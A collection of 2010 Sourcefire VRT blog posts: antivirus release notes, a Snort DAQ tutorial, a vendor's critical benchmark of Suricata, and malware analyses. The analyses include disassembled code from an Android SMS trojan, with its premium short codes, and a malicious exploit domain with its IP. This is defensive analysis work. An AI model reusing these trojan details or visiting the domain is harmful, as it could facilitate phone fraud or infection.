If you’re not one of the 150,000 current ClamAV for Windows 1.0 users and you have no idea what ClamAV for Windows is, here is a quick overview. It is a free real-time desktop antivirus with some really innovative and unique features.

Including but not limited to:
  • Fast Cloud based protections – ClamAV for Windows leverages the speed of cloud computing to deliver real-time protection to your PC
  • Light – ClamAV for Windows is up to 35 times lighter than traditional antivirus solutions.
  • Real-time – ClamAV for Windows provides cloud-based protection that is always up-to-date against viruses, spyware, bots, worms, Trojans, keyloggers without the need to download virus signatures every day.
  • Companionship – ClamAV for Windows is compatible with existing antivirus products to help protect you better. What is better than some extra, free protection?
  • Community Aware – ClamAV for Windows allows you to setup a community of friends, family, and associates that help you detect new threats in your community. Protection one, protect everyone.

Not Done Yet
ClamAV 0.96.2 has also been released, if you use ClamAV on your mail gateway, web proxy, desktop scanner, or anywhere it is time to upgrade to the latest version. Highlights of the release include:
  • Extended PDF parsing and extraction
  • Speed improvements on DB loading
  • Improved handling of Safebrowsing DB
  • Bytecode clean ups and improvements
  • Improved memory usage and speed improvements (40MB less than 96.1)

Numerous platform specific bugs, functionality bugs, and minor enhancements were also added. Please see the ClamAV bug tracker for complete details. Special thanks to all the users that added bugs and feature requests, we appreciate your feedback and support.

Still Not Done:
The roadmap for ClamAV for Windows 3.0 has been finalized. In November of 2010 we’ll be releasing a fully integrated version of ClamAV for Windows that contains LibClamAV. You’ll be able to use all your custom ClamAV signatures, the standard ClamAV signatures, and 3rd Party signature with ClamAV for Windows. Keep a look out for more details on ClamAV for Windows 3.0 on the VRT Blog.

Finally Done:
As always, the Sourcefire VRT appreciates your support, use, and continued involvement in the ClamAV community. If you have bugs, feature requests, or cool ideas please check out the bug tracker and open your requests here.

Friday, August 13, 2010

Malware on Android? Big deal!

Malware and Google's Android OS are two of my favorite things to play with. You would think that when I heard that there was a Trojan in the wild targeting Android devices, I'd be all over it. Indeed, I was. But I was not happy because I just don't like the sound of "malware" and "Android" in the same sentence. I got a copy of the Trojan (MD5: fdb84ff8125b3790011b83cc85adce16) and proceeded to dissect it. Most Android applications are distributed in the form of Android Packages (.apk), and this was no exception. Apk files can be opened with dexdump, a tool provided by Google as part of the Android SDK. On my workstation, it's located under:
android-sdk-linux_86/platforms/android-6/tools
Let's run dexdump with the following options on the Trojan "RU.apk" and redirect the output to a file:
./dexdump -d -f -h ~/Desktop/RU.apk > ~/Desktop/out.txt
Going through the output and looking for the "onCreate" method, which is the method used to initialize activity, I found
[00083c] org.me.androidapplication1.HelloWorld.onCreate:(Landroid/os/Bundle;)V
HelloWorld?! What? Was this written by a n00b who copied the example project HelloWorld? The following was also found:
[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V
OK, MoviePlayer is the name of the application. I guess it must be some sort of movie player. This is confirmed by the presence of:
000c: const-string v2, "Нажмите ок для доступа к видеотеке" // [email protected]
That is Russian for "Click OK to access the video library" (thanks Google Translate). On "create", the function DataHelper.canwe() is invoked:
00094c: 6e10 1900 0600 000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z // [email protected]
The function checks a SQLite DB for the presence of "was" in table1 (yes, quite an interesting way to see whether the app was run before). If the application had never been run on the device a function call is made to SmsManager.sendTextMessage:
001f: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage
This function call is made 3 times with short codes as the destination phone numbers: 3353, 3354 and 3353 again. The content of the each of these short messages is "798657".

So what would have happened had an unsuspecting user installed this application? The victim would have installed what appeared and pretended to be a benign application on his/her Android device. Instead of acting as a movie player the application would have sent 3 SMS messages to those short codes. This Trojan targets Russian speaking users and so the likelihood is that it is mostly going to be installed on handsets in Russia. According to Wikipedia, "the cost of the call or SMS to the short number varies from 1.2 to 300 rubles", which is between USD 0.03 and USD 9.8. The end result is that the victim wouldn't have a movie player on their handset, but would have been scammed out of money instead.

While this is certainly one of the first (or the first) Trojan found in the wild that targets Android, it's quite surprising how news outlets covered this story. The hype made it almost seem like there had never been malware targeting mobile devices before. Just a month ago, there were reports of malware affecting Symbian devices to create a botnet capable of sending SMS messages from compromised devices. Don't forget, Symbian is the top OS for phones based on market share.

In late 2009, a spyware application for BlackBerry OS called PhoneSnoop was making making the headlines. It allowed a third party to listen in on any calls on the compromised phone. Finally, let's not forget about Ikee, the iPhone worm that was "rickrolling" jailbroken devices in Australia.

As for this this Android SMS Trojan, it's been reported that it was not available for download through Google's official directory for applications called the Android Market, and so users who got infected had no business downloading .apk files from other sources. Well, some developers such as Gameloft choose not to publish their app through the Android Market for whatever reason, so you would have get their software from a location other than the Android Market. Then there is the fact that downloading an application from the Android Market does not guarantee that the application will behave exactly the way you expect based on its name and description. In fact, "Google does not intend, and does not undertake, to monitor the Products or their content" per their developer distribution agreement. Furthermore, "if Google is notified by you or otherwise becomes aware and determines in its sole discretion that a Product [...] is deemed by Google to have a virus or is deemed to be malware, spyware or have an adverse impact on Google's or an Authorized Carrier's network [...] Google may remove the Product from the Market". I think that's pretty clear and doesn't require any further explanation. What I get from this is that one should proceed cautiously if installing an application by an unknown developer from the Android Market that has been downloaded by a small number of people.

In comparing two dominant players in the mobile application arena, Google and Apple have very different approaches when it comes to how they've implemented their application stores. One leaves it up to the end users to review and comment on apps, whereas the other wants full control on what app gets approved for their store. Both sides have their share of fanboys and I am not here to determine which one is the best. I do wonder though, if from a security point of view, the best solution doesn't lie somewhere in the middle of these two approaches.

What did all this teach us? Simply that you should be aware that your smartphone is a prime target for attackers. Not only are smartphones more powerful than even the most powerful desktop computers from a few years ago, but they also provide easy access to your address book, your email accounts and social network accounts. With smartphone sales about to surpass worldwide PC sales by the end of 2011, it's not difficult to see how more vulnerabilities will be found and exploited in mobile devices, and how more malware targeting smartphones will be found in the wild. As always, we strongly recommend that you know and trust the wireless hotspot you are connecting your phone to, that you install trusted apps and that you browse trusted websites.

Thursday, August 12, 2010

Rule Release for Today, Thursday August 12th, 2010

Adobe, HP and Symantec products have issues, we have rules, check it out here:

http://www.snort.org/vrt/advisories/2010/08/12/vrt-rules-2010-08-12.html

Snort 2.9 Essentials: The DAQ

The recently released Snort 2.9 Beta introduces the Data AcQuisition library (DAQ), for packet I/O. The DAQ replaces direct calls into packet capture libraries like PCAP with an abstraction layer that make it easy to add additional software or hardware packet capture implementations. DAQ 0.1 supports PCAP, AFPACKET, NFQ, IPQ, IPFW, and DUMP which is used for testing.

So why the change? The DAQ is essentially an abstraction layer and a suite of pluggable modules that can be selected at run-time. This makes switching from passive to inline mode easy, and not require a recompile of the snort core. Additionally, it adds AFPACKET support which makes it really easy to stand-up an inline sensor without mucking around with iptables, setting up queues, and other administrative tasks. Finally, the DAQ is modular and easy to work with, if there is some special network capture card you need to support adding a module for it is relatively straight forward.

USAGE : Building the DAQ Library and DAQ Modules
  • Download the DAQ from snort.org it is called daq-0.1.tar.gz
  • Unpack it tar -xvzf ./daq-0.1.tar.gz

Meet the following minimum requirements:
  • PCAP ≥ 1.0.0. PCAP 1.1.1 is available at the time of this writing and is recommended.
  • libdnet is required for IPQ and NFQ DAQs. If you run into any errors, check the DAQ distro README for tricks I used.
  • libnet is no longer required. Gone Gone Gone, and there was much rejoicing.
./configure ; make ; sudo make install
When the DAQ library is built, both static and dynamic module flavors will be generated more on "why" later. If you need to tweak certain options see configure for help, run:
./configure --help

Building Snort
Snort now needs to know where DAQ is installed on the system. If you installed it somewhere other than its default location, you'll need to add some extra switches to configure, for snort to build. If you didn't you can ignore the below, snort's configure should just find the DAQ library and build.
./configure --with-daq-includes=<inc dir>--with-daq-libraries=<lib dir>
If you install the daq-modules in a non standard place make sure your path is updated with the daq-modules location. Snort's ./configure requires running bin/daq-modules-config. This step isn't necessary if daq is installed in the default location. However ldconfig or other system specific commands may or may not need to be run.
PATH=/daq/install/prefix:$PATH
By default, snort will be built with a few static DAQ modules including PCAP, AFPACKET, and DUMP.

Once Snort is built.
To see Snort's available DAQs, run this:
snort [--daq-dir <dir>] --daq-list
The above command searches the specified directory (eg /usr/local/lib/daq) for DAQ modules and prints type, version, and attributes of each. If you just want to see the built-in modules, leave off the --daq-dir.

Output should look something like the following:
Available DAQ modules:
pcap(v2): readback live multi 
unprivnfq(v1): live inline 
multiipq(v1): live inline 
multiipfw(v1): live inline multi 
unprivdump(v1): readback live inline multi 
unprivafpacket(v1): live inline multi unpriv
You can see that 6 DAQs are available, that pcap doesn't support inline mode, that nfq and ipq don't support unprivileged operation, etc.

Configuring Snort
If everything went as planned, snort is now built with DAQ. By default Snort uses the PCAP module for reading files and for sniffing interfaces, so if that is all you do with snort you can stop reading, as it should just work.

However, if you run inline with snort keep reading as there are some new command lines switches and some new usage options.

Here is the full set of DAQ related command line and config file options:
snort [--daq <type>] [--daq-mode <mode>] 
[--daq-dir <dir>] [--daq-var <var>]
config daq: <type>
config daq_mode: <mode>
config daq_dir: <dir>
config daq_var: <var><type> 
::= pcap  afpacket  dump  nfq  ipq  ipfw<mode> 
::= read-file  passive  inline<dir> 
::= path where to look for DAQ module so's<var> 
::= arbitrary <name>=<value> passed to DAQ
Caveats:
  • If daq-mode is not set explicitly, -Q will force it to inline;
  • If daq-mode is not set explicitly, -r will force it to read-file;
  • The defaults daq-mode is passive.
  • Running -Q and --daq-mode inline are allowed, but -Q and any other DAQ mode will cause a fatal error at start-up.

USAGE
The following examples assume you have 3 Ethernet interfaces with management on eth0 and that you intend to pass traffic through your sensor between eth1 and eth2.

Using the PCAP DAQ
PCAP is the default DAQ. If snort is run w/o any DAQ arguments, it will operate as it always did using this module. This is common usage of snort, passive sniffing of an interface or reading back pcap files.

To do this you can use any of the following as they are all equivalent:
snort -i <device>
snort -r <file>
snort --daq pcap --daq-mode passive -i <device>
snort --daq pcap --daq-mode read-file -r <file>
You can also specify the buffer size PCAP if you need to, using:
snort --daq pcap --daq-var buffer_size=<#bytes>
  • NOTE - The PCAP DAQ does not count filtered packets.

Using the AFPACKET DAQ
AFPACKET is the easiest way to setup an inline sensor, additionally it has better performance than the standard PCAP interfaces.

To use AFPACKET in passive mode:
snort --daq afpacket -i <device> 
[--daq-var buffer_size_mb=<#MB>] 
[--daq-var debug]
If you want to run AFPACKET in inline mode, you must set device to one or more interface pairs, where each member of a pair is separated by a single colon and each pair is separated by a double colon. There is not need to configure a QUEUE or Bridge with AFPACKET you need to up the interfaces and give snort the correct command line.

Syntax for inline pairs
eth0:eth1
eth0:eth1::eth2:eth3
Running inline Snort
ifconfig eth1 promisc up
ifconfig eth2 promisc up
snort --daq afpacket -i eth1:eth2 -Q -c snort.conf
  • By default, the AFPACKET DAQ allocates 128MB for packet memory. You can change the allocation using the buffer_size_mb daq-var. See README.daq for the gory details of that calculation.

Closing
Hopefully that is enough to get you going. See the DAQ distro README as well as Snort's README.daq for more information.

We have already received some positive feedback as well as some pointers on what needs fixing in the beta. Keep the feedback coming and we'll ensure a solid 2.9.0 rollout. Send bugs / features / etc to "bugs <at> snort.org" or join the Snort-Devel and Snort-Users mailing lists and post your thoughts there.

Tuesday, August 10, 2010

Quick analysis of a webpage leveraging CVE-2010-1885 (aka the help and support center vulnerability)

In a previous blog post I was writing about an increase in attacks against an at the time, un-patched vulnerability. Microsoft patched it on July 13, which doesn't mean that people aren't still trying to own un-patched machines.

goodgirlsbadguys.com (213.155.12.144) is a domain registered on July 19 2010 with a registrant address listed in Cambodia. Visiting a particular webpage for that domain (trust me and don't go there...despite the name there is nothing juicy on this domain except pwnage) returns a URL as part of an iframe. Microsoft Help and Support Center is invoked with a few parameters, one of which is the URL obtained earlier:

KB2286198_help_center_command_line
Pic.1: Help and Support Center

Notice the use of the keyword "crimepack" in the hcp:// request.

In a randomly named file (in this case, "bat.vbsautba" in c:\Documents and Settings\user\Local Settings\Temp the following html can be found:

KB2286198_dropped_file.png
Pic.2: Dropped file with random name

Later, the command line utility is invoked with the following parameters:

KB2286198_cmd_exe.png
Pic.3: cmd.exe called to run script...and kill Windows Media Player

The script that is executed is called D.vbs:

KB2286198_wscript_exe.png
Pic.4: D.vbs

Snort detects this Windows Help Center escape sequence cross-site scripting attempt with sid 16665:

08/09-11:26:49.588645  [**] [1:16665:3] WEB-CLIENT Microsoft Windows Help Centre escape sequence XSS attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 213.155.12.144:80 -> 10.11.250.196:107608/09-11:26:49.588645 0:1E:13:F0:2E:19 -> 0:C:29:21:50:D5 type:0x8100 len:0x59E213.155.12.144:80 -> 10.11.250.196:1076 TCP TTL:59 TOS:0x0 ID:11527 IpLen:20 DgmLen:1420 DF

ClamAV has got you covered as well with BC.Exploit.CVE_2010_1885.

Rule Release for Today, Tuesday August 10th, 2010

Microsoft Security Advisory MS10-046:
Microsoft Windows Shell contains a vulnerability that may allow a remote attacker to execute code on an affected system.

Previously released rules to detect attacks targeting these vulnerabilities have been updated with the appropriate reference and are included in this release. These are identified with GID 1, SIDs 17042 and 17043.

Microsoft Security Advisory MS10-050:
Microsoft Windows Movie Maker contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17135.

Microsoft Security Advisory MS10-051:
The Microsoft MSXML2 ActiveX control contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17133.

Microsoft Security Advisory MS10-052:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17117.

Microsoft Security Advisory MS10-053:
Microsoft Internet Explorer contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17115.

Microsoft Security Advisory MS10-054:
The Microsoft implementation of SMB contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17125 through 17127.

Additionally, a previously released rule will also detect attacks targeting these issues and is identified with GID 3, SID 16577.

Microsoft Security Advisory MS10-055:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17128.

Microsoft Security Advisory MS10-056:
Microsoft Office Word contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17119 through 17124.

Microsoft Security Advisory MS10-057:
Microsoft Office Excel contains programming errors that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting these issues is included in this release and is identified with GID 3, SID 17134.

Microsoft Security Advisory MS10-060:
Microsoft Silverlight contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17113 and 17114.

Microsoft Security Advisory MS10-061:
Microsoft .NET contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17115.

Check out the changelogs here: http://www.snort.org/vrt/advisories/2010/08/10/vrt-rules-2010-08-10.html

Tuesday, August 3, 2010

Rule Release for Today, Tuesday August 3rd, 2010

Added and modified multiple rules in the exploit, ftp, imap, mysql, netbios, rpc, specific-threats, sql, web-activex, web-client, web-iis, web-misc and web-php rule sets.

Check here for details: http://www.snort.org/vrt/advisories/2010/08/03/vrt-rules-2010-08-03.html

Thursday, July 22, 2010

Sourcefire VRT DI is Hiring

Here's your chance to become part of the Intelligence unit that powers the Vulnerability Research Team. We know all, we see all and we say almost nothing to anyone about anything. Kinda. Alright, not really. We get the data, we manage the data, we mine the data, we give out information and actionable intelligence. In short, we separate the intel from the noise.

You may have seen our previous post regarding our expansion plans. This position is part of that grand scheme. As such, the following 10 things from the previous post still apply. If they appeal to you and describe the qualities you want in your co-workers and your workplace, then the VRT is interested in talking with you. Please submit your resume on Sourcefire's website or send us a message at [email protected]

Submit Resume here

Passion (for the work) - Very few people are trained academically for vulnerability analysis, malware analysis, network engineering, or hacking. It is something that is learned by experience and experimentation. If you have dedicated your free time and lost countless days and nights perfecting some portion of it then you have the passion I'm talking about.

Good people - If you enjoy an environment where everyone around you is better than you at something and is willing to teach you their skill in exchange for your own, then the VRT might be the right place for you.

Goals - Clear definitions of strategic goals to the best of my ability and my managers' abilities. If we can't clearly explain the "why" then we won't ask you to waste your time on it.

Belief - A group of people that share an intrinsic belief that it is possible to accomplish difficult, if not "currently" impossible, goals. More importantly, this belief is present not because of arrogance, but because of our experience proving that we actually can accomplish these goals.

Drive - A personal drive that exceeds the average. If you've worked on a problem for many months, still haven't solved it, but truly believe you will shortly, you are either hard headed or have a lot of drive. Whether you're pushing yourself by hitting your head on a wall, or just plain never giving up, you will most likely create a positive outcome.

Latitude - If you hate rules but understand personal responsibility, this might be the environment for you. You'll get just enough rope to hang yourself, as long as you take responsibility for your own demise.

Trust - An environment were you can trust the people you work with to actually do what they say, do it to the best of their ability, and trust you to do the same.

Responsibility - For your actions and your words. If you broke it, you fix it. If you said you would do it, do it.

Risk - An environment where you are allowed to take risks in the pursuit of goals. Risk is the potential to fail and without failure there is no opportunity to learn. You will be able to take risks as long as you sign up for the responsibility of failing.

Leadership - You expect the people above you to actually lead, and trust them enough to actually follow them.

If these ten things fit your personality, and describe the place you want to work, please see the job description below. When submitting your resume please include either a comment or something in your actual resume that references the fact that you read this post.

Title: Research Systems Engineer

Basic Purpose

This role is primarily responsible for developing database applications, supporting the Vulnerability Database that is part of Sourcefire RNA, research to support current detection systems, research into new detection systems and methods, research into data mining and internal tool development.

Essential Duties and Responsibilities
  • Administration of various backend systems.
  • Support Vulnerability database building and administration
  • Conduct research into new detection mechanisms
  • Conduct research into existing detection mechanisms and improve them
  • Script like a maniac
  • Develop cool tools
Essential Education, Skill, and Environment Education and Work Experience
  • Experience is probably your biggest asset
  • Bachelors degree (or higher) will at least show us you can achieve a long term goal
  • Ability to apply Ohms law under duress is an advantage
  • Must believe that Leibniz stole Newton's ideas for Calculus
  • The desire to gain knowledge is key
  • Experience designing user interfaces for web, scripts, cli etc. is a plus
Required Knowledge and Skills
  • Experience with SQL databases, MySQL, PostGRES etc.
  • Experience designing SQL databse schemas
  • Experience configuring Windows and Linux/UNIX applications
  • Strong analytical and troubleshooting skills
  • Experience with TCP/IP, IPv6 and IPv4 networking in general
  • Be able to script in PERL, Python, and/or Ruby
  • Ability to learn new skills and apply them in a rapidly changing, high-pressure environment
  • Can solve complex technical problems in a non-Rube Goldberg fashion
  • Desire to perform research activities, stretch some boundaries, kick down doors, take names and conquer
Preferred Knowledge and Skills
  • Highly motivated and creative
  • Experience with Snort & other network security tools
  • Experience with network configuration and deployment
  • Experience with PCRE or equivalent regular expression library
Work Conditions
  • Moderate to high levels of stress will occur at times
  • Fast paced and rapidly changing environment
  • Extremely talented and experienced team members and mentors
  • No special physical requirements
  • Constant internal training, drinking games, and heated discussions

Rule Release for Today, Thursday July 22nd, 2010

Two main vulnerabilities covered in this release. Microsoft Windows Shell shortcut vulnerability (CVE-2010-2568) and the Siemens Simatic WinCC and PCS 7 SCADA vuln (CVE-2010-2772). Both of these are being actively used by the Stuxnet worm.

More details are available here: http://www.snort.org/vrt/advisories/2010/07/22/vrt-rules-2010-07-22.html

Tuesday, July 20, 2010

Innovation -- You Keep Using That Word...

So, this week, the OISF has been on a media blitz about Suricata, their open-source Intrusion Detection System.  As always, my preference is for you to review the information yourself, so before I give you my thoughts about the state of Suricata, here are some links:

http://www.computerworld.com/s/article/9179436/DHS_vendors_unveil_open_source_intrusion_detection_engine?taxonomyId=82
http://www.darkreading.com/smb-security/security/intrusion-prevention/showArticle.jhtml?articleID=225900192&cid=nl_DR_DAILY_2010-07-20_h
http://www.openinfosecfoundation.org/

When I talked to Matt Jonkman about Suricata this past December, I was excited.  He talks a good game and his pitch of Suricata as a "Next Generation Intrusion Detection and Prevention Engine" was catching.  It is always good to step outside the box and take a good hard look at how any industry is approaching things and innovation is always welcome.  The fact that Suricata is Open Source and driven by government money meant that the innovation would be available and easily ported to Snort, helping not just Suricata users, but Snort users as well.  To me, it looked win-win all the way.

I was so impressed by the tack that Suricata appeared to be taking that I gave my best wishes to them on their first release, back in December:
"Congrats to Matt Jonkman and the team at OISF.  It's a big step, and I look forward to seeing your work (after then new year :))

Matt". -- [Snort-users] Suricata IDS Available for Download!, 12/31/09
http://marc.info/?l=snort-users&m=126229251430261&w=2

But at this point, having worked with Suricata and looked at what the OISF has actually delivered, I'm just disappointed with where they've ended up and what they've delivered.

Suricata's developers harp on a lot of different issues, some of which are valid, and some are simply wrong.  More than anything else, they beat the multi-threaded drum:

".For example, Suricata's multi-threaded architecture can support high performance multi-core and multiprocesser systems, Jonkman said." -- (Computerworld, above)

 "This is 2010 and not a single IDS supports multi-threading"
"The flaw in every IDS is that it is single threaded"
"Multi threading alone is worth moving over to Suricata for".
-- (Suricata team, various)

We've talked about this before, with an extensive, technical discussion on multi-threading and IDS from Marty (http://vrt-sourcefire.blogspot.com/2010/06/single-threaded-data-processing.html).  Go there and check out what Marty has to say.  The essence of his post is that there are sound architecture reasons why traditional multi-threading is not the appropriate approach for IDS implementations.  Certainly, as commodity hardware evolves (we do work very closely with Intel), we'll continue to evaluate the technology.  In addition to the long technical brief, I'd point out this simple fact of life:  IDS vendors are judged on both detection accuracy and speed.  No report about an IDS engine comes out that doesn't identify how many GB/s throughput the engine was capable of sustaining.  Trust me, if multi-threading were the answer, the industry would have moved there in short order.

Of course, there is no third-party review of Suricata's performance.  I'm going to give you some numbers, but I don't expect you to put any special weight on them, they are more to show that we have looked at the engine and haven't found anything that we would take from it.  I asked Chris McBee, one of the researchers here on the VRT to install Snort and Suricata on the same box.  I told him to make it run, take all the steps necessary to maximize performance.  He even changed out the network card to support the pf_ring buffer.  We did not, however install a CUDA-capable network video card (edited after publish, my bad -- molney), since, in the words of one Suricata developer (it should be noted that the 1.0.0 release notes indicated an increase in performance):

"Currently on my desktop CUDA actually slows things down"
--http://www.inliniac.net/blog/2010/02/20/suricata-has-experimental-cuda-support.html

So the key to the test is that they were on the same, commodity hardware.  We ran Snort first, then Suricata on the same box.  In each test, Snort and Suricata were loaded with the latest default open source ruleset from the VRT.  In the case of Suricata, some rules that used unsupported options failed to load, and there is no .SO rule support, so none of those rules ran either.  This means that Snort was running a larger ruleset than Suricata.

Test Set 1:  The same packet set sent at between 200 and 5200 MB/s (30 runs total)
       Total Packets sent:  30,000,000 (Across all 30 tests)
       Total Packets dropped, Snort:  61264  (0.0204%)
       Total Packets dropped, Suricata:  17,438,542 (58%)

Test Set 2: The same packet set sent at between 200 and 5200 MB/s (30 runs total) (Hyperthreading Disabled)
       Total Packets sent:  30,000,000 (Across all 30 tests)
       Total Packets dropped, Snort: 511 (0.0017%)
       Total Packets dropped, Suricata: 15,714,211 (52%)

Now, we did rerun the tests when Suricata 1.0 was released, briefly:

"Suricata peaked at about 300 Mb/s without dropping packets, provided no rules are loaded.
With rules loaded, Suricata runs up to about 200Mb/s.
Snort, with rules, hits 894Mb/s with no drops" -- Internal VRT Report on Suricata Performance

Suricata's performance isn't just bad; it's hideously, unforgivably bad.  This is especially true for a project that is hawking the performance issue.  There are other issues I have with Suricata, but I think the one that is most concerning is the following statement:

"We made a conscious decision last year that we're not going to go with an obfuscated rule set, we're not going to pick up an SO rule format" -- Matt Jonkman

This decision is going to limit any detection capability to the rule language provided by Suricata.  In today's incredibly complex environment, this is an unacceptable limitation.  Sourcefire developed the C capability to give the VRT and high-end response organizations the ability to build detection with all of the power of C available to them and not lock them into our the Snort rules language.  The loss of this capability dramatically reduces the usefulness of Suricata.  As an administrative issue, for organizations working in a TS/SCI environment, rules often need to be provided in an obfuscated format to protect against unnecessary disclosure of data.  This isn't available without .so rules.

All of this came up in a discussion of how to engage vendors to get data to write rules.  It should be noted that Sourcefire is a partner with several large vendors, including the most targeted:  Microsoft.  In agreement with these vendors, we protect our rule set for vulnerabilities that are not being exploited in the wild to help protect against exploit development.  We do this by obfuscating the rules associated with data we receive from them into .so rules.  There is no impact to performance by doing this, but it does pose a hurdle to potential attackers looking to glean information about potential vulnerabilities from how we go about detecting them.

Matt Jonkman specifically said: "We're hoping to get enough market share to say to vendors if they want to use our product if they want to feel safe, we're going to have to be transparent enough that rules can be written".  This is simply not going to happen, and trying to adjust reality to justify your philosophical approach will simply result in a product that is not usable.

Look, I generally work very hard to avoid looking like a corporate shill, I try to keep to purely technical information.  But in this case, I have to call a spade a spade, even if it leaves you thinking I'm just a mouth piece.  But know that I honestly believe this:

The OISF has spent nearly a million dollars to fulfill their obligation to the DHS to deliver the next generation in IDS engines.  They have since engaged in all manner of wishful thinking, self-aggrandizement and Snort bashing.  They've failed, utterly, to deliver on their promises.  This is forgivable on the performance front, that problem is non-trivial.  But in the end, what they've built is a poorly functioning Snort-clone, missing the most powerful detection capability that Snort has.  There isn't anything in the way of innovation; they are taking the same approach as everyone else from a detection standpoint.  Simply put, rehashing isn't innovation.

If you want to see what innovation looks like, come to Vegas and let the VRT show you the Razorback system.  It isn't Snort, it isn't ClamAV, and it isn't Suricata.  It's a new approach to the detection problem, and was built from the ground up in close collaboration with groups that are facing APT-level threats.  It may not be perfect, it may not even be the right answer (but we think it is), but it is truly innovative.  

And we didn't even cost you a million dollars.